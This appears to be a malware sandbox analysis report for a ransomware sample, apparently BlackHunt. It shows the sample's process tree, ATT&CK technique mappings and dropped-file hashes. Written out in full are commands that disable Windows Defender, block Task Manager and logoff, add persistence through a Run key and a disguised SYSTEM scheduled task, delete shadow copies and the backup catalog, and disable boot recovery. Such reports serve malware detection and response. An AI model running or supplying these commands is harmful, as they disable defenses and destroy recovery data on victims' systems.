- System policy modification
PID:2852 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1764
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:2648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵PID:1852
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2664
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:3064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:1076
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2188
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2272
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2772
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2944
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2692
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2988
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3032
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:676
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2248
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2900
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2540
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2812
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1096
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2784
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2484
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1532
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2176
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:812
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1548
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2788
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1516
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2808
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:312
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2912
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2620
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2908
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1260
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:692
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1980
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1352
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:2648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1360
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵
- Adds Run key to start application
PID:1852
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1184
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1084
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe" /F2⤵PID:1180
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe" /F3⤵
- Creates scheduled task(s)
PID:1596
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:568
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2892
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1488
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2600
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:432
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2136
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2556
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1148
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1772
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1804
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2484
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:760
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3260
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1168
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3360
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:456
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1848
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2416
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2084
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3348
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4016
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2840
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2672
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5cdf6532a0a76b47c262f3d8fe4bb56c8
SHA13926f32c67e8da77394f44acaf23f01df3e04c90
SHA25616e04f6875302613654dbd30e5fb33bde0bff6fc2acc692942e88b681fb23e3e
SHA512a12c1e405b0f3be3580d288f2f71ef2828cf1dcea44309bd2674361c40a2c1d9b8354cc26f42d29e7601bfb8470c834a59e7028ade07aace123803dfedac53ff
-
Filesize
12KB
MD579878c1dc4e9791f63113816834b2d5b
SHA13134556c05b7dfba0df868d1dab96b1f572c08ae
SHA2565edaff03ab4f6b04f0d78617730176d2f9fce6aebbc43e26294894415901831a
SHA512c8bdad9a58b458b63ff45cd7cf87ce5e56c1095d5eb031d9d93dd8e698566aa6256e216c2c44e1bb0d3e652f68366be492ba1b325ffcd5bbca16d8d744798bac
-
Filesize
684B
MD524d1659cfce8f46a3cc7776b882425c3
SHA178b1938922b268e54dc13204deffc3200742fe3f
SHA2562dbe97c6ef4f28c3eb8c5bca8b9cbac2c95f982a3c0ae0b79b5cd6209b097005
SHA512da01d6199f4043d7f426da6b15f5f9c9036e459b89c41aeac83d022c1d73b311b48337dd4b360ff628ccb6009e529ee2c111ae1e169ac4fdbcee1abc60f4ce68